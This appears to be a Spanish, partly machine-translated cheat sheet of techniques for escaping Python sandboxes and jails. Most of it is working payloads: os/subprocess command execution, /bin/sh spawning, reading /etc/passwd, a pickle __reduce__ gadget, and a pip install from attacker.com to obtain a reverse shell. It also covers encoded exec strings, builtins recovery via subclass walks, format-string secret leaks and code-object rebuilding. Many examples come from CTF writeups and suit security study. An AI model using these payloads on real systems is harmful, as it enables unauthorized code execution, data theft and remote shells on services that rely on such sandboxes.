Estos son algunos trucos para bypass las protecciones de sandbox de python y ejecutar comandos arbitrarios.

Bibliotecas de ejecución de comandos

Lo primero que debes saber es si puedes ejecutar código directamente con alguna librería ya importada, o si podrías importar cualquiera de estas librerías:

python

os.system("ls")
os.popen("ls").read()
commands.getstatusoutput("ls")
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
pty.spawn("/bin/bash")
platform.os.system("ls")
pdb.os.system("ls")

#Import functions to execute commands
importlib.import_module("os").system("ls")
importlib.__import__("os").system("ls")
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
imp.os.system("ls")
imp.sys.modules["os"].system("ls")
sys.modules["os"].system("ls")
__import__("os").system("ls")
import os
from os import *

#Other interesting functions
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')

#In Python2.7
execfile('/usr/lib/python2.7/os.py')
system('ls')

Recuerda que las funciones open y read pueden ser útiles para leer archivos dentro del python sandbox y para escribir algo de código que podrías ejecutar para bypass el sandbox.

[!CAUTION] > La función Python2 input() permite ejecutar código python antes de que el programa falle.

Python intenta cargar librerías desde el directorio actual primero (el siguiente comando imprimirá desde dónde python está cargando los módulos): python3 -c 'import sys; print(sys.path)'

Bypass pickle sandbox with the default installed python packages

Paquetes por defecto

You can find a list of pre-installed packages here: https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html
Note that from a pickle you can make the python env import arbitrary libraries installed in the system.
For example, the following pickle, when loaded, is going to import the pip library to use it:

python

#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
#the library is going to be loaded automatically

import pickle, os, base64, pip
class P(object):
def __reduce__(self):
return (pip.main,(["list"],))

print(base64.b64encode(pickle.dumps(P(), protocol=0)))

Para más información sobre cómo funciona pickle, consulta esto: https://checkoway.net/musings/pickle/

Paquete pip

Truco compartido por @isHaacK

Si tienes acceso a pip o pip.main() puedes instalar un paquete arbitrario y obtener una reverse shell llamando:

bash

pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])

Puedes descargar el paquete para crear la reverse shell aquí. Ten en cuenta que antes de usarlo debes descomprimirlo, modificar el setup.py, y poner tu IP para la reverse shell:

tip

Este paquete se llama Reverse. Sin embargo, fue especialmente creado de modo que cuando salgas de la reverse shell el resto de la instalación falle, por lo que no dejarás ningún paquete python adicional instalado en el servidor cuando te vayas.

Eval-ing python code

warning

Ten en cuenta que exec permite cadenas multilínea y ";", pero eval no (revisa walrus operator)

Si ciertos caracteres están prohibidos, puedes usar la representación hex/octal/B64 para bypass la restricción:

python

exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
eval("__import__('os').system('ls')") #Eval doesn't allow ";"
eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) #This way eval accept ";"
__import__('timeit').timeit("__import__('os').system('ls')",number=1)
#One liners that allow new lines and tabs
eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))

python

#Octal
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
#Hex
exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
#Base64
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))

Otras bibliotecas que permiten eval python code

python

#Pandas
import pandas as pd
df = pd.read_csv("currency-rates.csv")
df.query('@__builtins__.__import__("os").system("ls")')
df.query("@pd.io.common.os.popen('ls').read()")
df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")

# The previous options work but others you might try give the error:
# Only named functions are supported
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")

Operadores y trucos rápidos

python

# walrus operator allows generating variable inside a list
## everything will be executed in order
## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/
[a:=21,a*2]
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"

Bypassing protections through encodings (UTF-7)

En esta writeup UFT-7 se usa para cargar y ejecutar código python arbitrario dentro de una aparente sandbox:

python

assert b"+AAo-".decode("utf_7") == "\n"

payload = """
# -*- coding: utf_7 -*-
def f(x):
return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()

También es posible sortearlo usando otras codificaciones, p. ej. raw_unicode_escape y unicode_escape.

Ejecución de Python sin llamadas

Si estás dentro de un python jail que no te permite realizar llamadas, todavía hay algunas maneras de ejecutar funciones arbitrarias, código y comandos.

RCE con decorators

python

# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@input
class X:
pass

# The previous code is equivalent to:
class X:
pass
X = input(X)
X = exec(X)

# So just send your python code when prompted and it will be executed


# Another approach without calling input:
@eval
@'__import__("os").system("sh")'.format
class _:pass

RCE creando objetos y sobrecarga

Si puedes declarar una clase y crear un objeto de esa clase, podrías escribir/sobrescribir diferentes métodos que pueden ser activados sin necesidad de llamarlos directamente.

RCE con clases personalizadas

Puedes modificar algunos métodos de clase (sobrescribiendo métodos de clase existentes o creando una nueva clase) para que ejecuten código arbitrario cuando se activen sin llamarlos directamente.

python

# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
def __init__(self):
self += "print('Hello from __init__ + __iadd__')"
__iadd__ = exec #Triggered when object is created
def __del__(self):
self -= "print('Hello from __del__ + __isub__')"
__isub__ = exec #Triggered when object is created
__getitem__ = exec #Trigerred with obj[<argument>]
__add__ = exec #Triggered with obj + <argument>

# These lines abuse directly the previous class to get RCE
rce = RCE() #Later we will see how to create objects without calling the constructor
rce["print('Hello from __getitem__')"]
rce + "print('Hello from __add__')"
del rce

# These lines will get RCE when the program is over (exit)
sys.modules["pwnd"] = RCE()
exit()

# Other functions to overwrite
__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k <= 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k != 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k **= 'import os; os.system("sh")')
__ilshift__ (k<<= 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')

Creando objetos con metaclasses

Lo principal que nos permiten hacer las metaclases es crear una instancia de una clase, sin llamar directamente al constructor, al crear una nueva clase con la clase objetivo como metaclase.

python

# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
class Metaclass(type):
__getitem__ = exec # So Sub[string] will execute exec(string)
# Note: Metaclass.__class__ == type

class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass
pass # Nothing special to do

Sub['import os; os.system("sh")']

## You can also use the tricks from the previous section to get RCE with this object

Creación de objetos con exceptions

Cuando se dispara una exception, se crea un objeto de la Exception sin que necesites llamar al constructor directamente (un truco de @_nag0mez):

python

class RCE(Exception):
def __init__(self):
self += 'import os; os.system("sh")'
__iadd__ = exec #Triggered when object is created
raise RCE #Generate RCE object


# RCE with __add__ overloading and try/except + raise generated object
class Klecko(Exception):
__add__ = exec

try:
raise Klecko
except Klecko as k:
k + 'import os; os.system("sh")' #RCE abusing __add__

## You can also use the tricks from the previous section to get RCE with this object

Más RCE

python

# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
class X:
def __init__(self, a, b, c):
self += "os.system('sh')"
__iadd__ = exec
sys.excepthook = X
1/0 #Trigger it

# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py
# The interpreter will try to import an apt-specific module to potentially
# report an error in ubuntu-provided modules.
# Therefore the __import__ functions are overwritten with our RCE
class X():
def __init__(self, a, b, c, d, e):
self += "print(open('flag').read())"
__iadd__ = eval
__builtins__.__import__ = X
{}[1337]

Leer archivo con builtins help & license

python

__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass

Builtins

Si puedes acceder al objeto __builtins__ puedes importar librerías (nota que también podrías usar aquí otras representaciones en string mostradas en la última sección):

python

__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")

Sin Builtins

Cuando no tienes __builtins__ no vas a poder importar nada ni siquiera leer o escribir archivos, ya que todas las funciones globales (como open, import, print...) no están cargadas.
Sin embargo, por defecto python importa muchos módulos en memoria. Estos módulos pueden parecer benignos, pero algunos de ellos están también importando funcionalidades peligrosas en su interior que pueden ser accedidas para obtener incluso ejecución arbitraria de código.

En los siguientes ejemplos puedes observar cómo abusar de algunos de estos módulos "benignos" cargados para acceder a funcionalidades peligrosas dentro de ellos.

Python2

python

#Try to reload __builtins__
reload(__builtins__)
import __builtin__

# Read recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
# Write recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
# Execute (another method)
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")

# Or you could obtain the builtins from a defined function
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")

Python3

python

# Obtain builtins from a globally defined function
# https://docs.python.org/3/library/functions.html
help.__call__.__builtins__ # or __globals__
license.__call__.__builtins__ # or __globals__
credits.__call__.__builtins__ # or __globals__
print.__self__
dir.__self__
globals.__self__
len.__self__
__build_class__.__self__

# Obtain the builtins from a defined function
get_flag.__globals__['__builtins__']

# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]

Below there is a bigger function para encontrar decenas/cientos de lugares donde puedes encontrar los builtins.

Python2 and Python3

python

# Recover __builtins__ and make everything easier
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')

Builtins payloads

python

# Possible payloads once you have found the builtins
__builtins__["open"]("/etc/passwd").read()
__builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below

Globals and locals

Comprobar las globals y locals es una buena manera de saber a qué puedes acceder.

python

>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}

Descubrir ejecución arbitraria

Aquí quiero explicar cómo descubrir fácilmente funcionalidades más peligrosas cargadas y proponer exploits más fiables.

Accediendo a subclasses con bypasses

Una de las partes más sensibles de esta técnica es poder access the base subclasses. En los ejemplos previos esto se hizo usando ''.__class__.__base__.__subclasses__() pero existen otras posibles formas:

python

#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
[].__class__.__base__.__subclasses__()
{}.__class__.__base__.__subclasses__()
().__class__.__base__.__subclasses__()
(1).__class__.__base__.__subclasses__()
bool.__class__.__base__.__subclasses__()
print.__class__.__base__.__subclasses__()
open.__class__.__base__.__subclasses__()
defined_func.__class__.__base__.__subclasses__()

#You can also access it without "__base__" or "__class__"
# You can apply the previous technique also here
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[1].__subclasses__()
"".__getattribute__("__class__").mro()[1].__subclasses__()
"".__getattribute__("__class__").__base__.__subclasses__()

# This can be useful in case it is not possible to make calls (therefore using decorators)
().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec

#If attr is present you can access everything as a string
# This is common in Django (and Jinja) environments
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()

Encontrar bibliotecas peligrosas cargadas

Por ejemplo, sabiendo que con la biblioteca sys es posible import arbitrary libraries, puedes buscar todos los modules loaded that have imported sys inside of them:

python

[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']

Hay muchos, y solo necesitamos uno para ejecutar comandos:

python

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")

Podemos hacer lo mismo con otras librerías que sabemos que se pueden usar para ejecutar comandos:

python

#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")

Python Format String

Si envías una string a python que va a ser formatted, puedes usar {} para acceder a información interna de python. Puedes usar los ejemplos anteriores para acceder a globals o builtins, por ejemplo.

python

# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
"KEY": "ASXFYFGK78989"
}

class PeopleInfo:
def __init__(self, fname, lname):
self.fname = fname
self.lname = lname

def get_name_for_avatar(avatar_str, people_obj):
return avatar_str.format(people_obj = people_obj)

people = PeopleInfo('GEEKS', 'FORGEEKS')

st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)

Observa cómo puedes acceder a atributos de forma normal con un punto como people_obj.__init__ y al elemento de dict con corchetes sin comillas __globals__[CONFIG]

También observa que puedes usar .__dict__ para enumerar los elementos de un objeto get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)

Otras características interesantes de las cadenas de formato son la posibilidad de ejecutar las funciones str, repr y ascii en el objeto indicado añadiendo !s, !r, !a respectivamente:

python

st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)

Además, es posible code new formatters en clases:

python

class HAL9000(object):
def __format__(self, format):
if (format == 'open-the-pod-bay-doors'):
return "I'm afraid I can't do that."
return 'HAL 9000'

'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.

Más ejemplos sobre format string pueden encontrarse en https://pyformat.info/

From format to RCE loading libraries

According to the TypeMonkey chall from this writeup es posible cargar librerías arbitrarias desde el disco abusando de la format string vulnerability en python.

Como recordatorio, cada vez que se realiza una acción en python se ejecuta alguna función. Por ejemplo 2*3 ejecutará (2).mul(3) o {'a':'b'}['a'] será {'a':'b'}.__getitem__('a').

Puedes ver más ejemplos como este en la sección Python execution without calls.

Una python format string vuln no permite ejecutar funciones (no permite usar paréntesis), por lo que no es posible obtener RCE como '{0.system("/bin/sh")}'.format(os).
Sin embargo, es posible usar []. Por lo tanto, si una librería python común tiene un método __getitem__ o __getattr__ que ejecute código arbitrario, es posible abusar de ellos para obtener RCE.

Buscando un gadget así en python, el writeup propone esta Github search query. Donde encontró este one:

python

class LibraryLoader(object):
def __init__(self, dlltype):
self._dlltype = dlltype

def __getattr__(self, name):
if name[0] == '_':
raise AttributeError(name)
try:
dll = self._dlltype(name)
except OSError:
raise AttributeError(name)
setattr(self, name, dll)
return dll

def __getitem__(self, name):
return getattr(self, name)

cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)

Este gadget permite cargar una biblioteca desde el disco. Por lo tanto, es necesario de algún modo escribir o subir la biblioteca a cargar, compilada correctamente para el servidor atacado.

python

'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'

El reto en realidad abusa de otra vulnerabilidad en el servidor que permite crear archivos arbitrarios en el disco del servidor.

Diseccionando objetos de Python

tip

Si quieres aprender sobre python bytecode en profundidad lee este increíble post sobre el tema: https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d

En algunos CTFs se te puede proporcionar el nombre de una función personalizada donde reside la flag y necesitas ver los internos de la función para extraerla.

Esta es la función a inspeccionar:

python

def get_flag(some_input):
var1=1
var2="secretcode"
var3=["some","array"]
if some_input == var2:
return "THIS-IS-THE-FALG!"
else:
return "Nope"

dir

python

dir() #General dir() to find what we have loaded
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
dir(get_flag) #Get info tof the function
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']

globals

__globals__ y func_globals(Igual) Obtiene el entorno global. En el ejemplo puedes ver algunos módulos importados, algunas variables globales y su contenido declarado:

python

get_flag.func_globals
get_flag.__globals__
{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}

#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__

Ten en cuenta que si no puedes importar dis en el python sandbox puedes obtener el bytecode de la función (get_flag.func_code.co_code) y disassemble la función localmente. No verás el contenido de las variables que se cargan (LOAD_CONST) pero puedes adivinarlas a partir de (get_flag.func_code.co_consts) porque LOAD_CONST también indica el offset de la variable que se está cargando.

python

dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')

Compilando Python

Ahora, imaginemos que de alguna manera puedes dump the information about a function that you cannot execute pero need to execute it.
Como en el siguiente ejemplo, puedes can access the code object de esa función, pero solo leyendo el disassemble don't know how to calculate the flag (imagina una función calc_flag más compleja)

python

def get_flag(some_input):
var1=1
var2="secretcode"
var3=["some","array"]
def calc_flag(flag_rot2):
return ''.join(chr(ord(c)-2) for c in flag_rot2)
if some_input == var2:
return calc_flag("VjkuKuVjgHnci")
else:
return "Nope"

Creando el code object

En primer lugar, necesitamos saber cómo crear y ejecutar un code object para que podamos crear uno para ejecutar nuestra función leaked:

python

code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
code_obj = code_type(co_argcount, co_kwonlyargcount,
co_nlocals, co_stacksize, co_flags,
co_code, co_consts, co_names,
co_varnames, co_filename, co_name,
co_firstlineno, co_lnotab, freevars=None,
cellvars=None)

# Execution
eval(code_obj) #Execute as a whole script

# If you have the code of a function, execute it
mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")

tip

Dependiendo de la versión de python, los parámetros de code_type pueden tener un orden diferente. La mejor manera de conocer el orden de los params en la versión de python que estás ejecutando es ejecutar:

import types
types.CodeType.__doc__
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n      flags, codestring, constants, names, varnames, filename, name,\n      firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object.  Not for the faint of heart.'

Recreando una leaked función

warning

En el siguiente ejemplo, vamos a tomar todos los datos necesarios para recrear la función desde el function code object directamente. En un ejemplo real, todos los valores para ejecutar la función code_type es lo que tendrás que leak.

python

fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
code_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)

mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
#ThisIsTheFlag

Eludir defensas

En ejemplos anteriores al principio de este post, puedes ver cómo ejecutar cualquier código python usando la función compile. Esto es interesante porque puedes ejecutar scripts completos con bucles y todo en una sola línea (y podríamos hacer lo mismo usando exec).
De todas formas, a veces puede ser útil crear un objeto compilado en una máquina local y ejecutarlo en la máquina CTF (por ejemplo porque no tenemos la función compiled en la CTF).

Por ejemplo, compilemos y ejecutemos manualmente una función que lee ./poc.py:

python

#Locally
def read():
return open("./poc.py",'r').read()

read.__code__.co_code
't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'

python

#On Remote
function_type = type(lambda: None)
code_type = type((lambda: None).__code__) #Get <type 'type'>
consts = (None, "./poc.py", 'r')
bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
names = ('open','read')

# And execute it using eval/exec
eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))

#You could also execute it directly
mydict = {}
mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()

Si no puedes acceder a eval o exec podrías crear una función adecuada, pero llamarla directamente normalmente fallará con: constructor no accesible en modo restringido. Así que necesitas una función que no esté en el entorno restringido para invocar esta función.

python

#Compile a regular print
ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)

Decompiling Compiled Python

Usando herramientas como https://www.decompiler.com/ se puede decompile el código Python compilado dado.

Consulta este tutorial:

Decompile compiled python binaries (exe, elf) - Retreive from .pyc

Miscelánea de Python

Assert

Python ejecutado con optimizaciones usando el parámetro -O eliminará las instrucciones assert y cualquier código condicional según el valor de debug.
Por lo tanto, comprobaciones como

python

def check_permission(super_user):
try:
assert(super_user)
print("\nYou are a super user\n")
except AssertionError:
print(f"\nNot a Super User!!!\n")

será bypassed
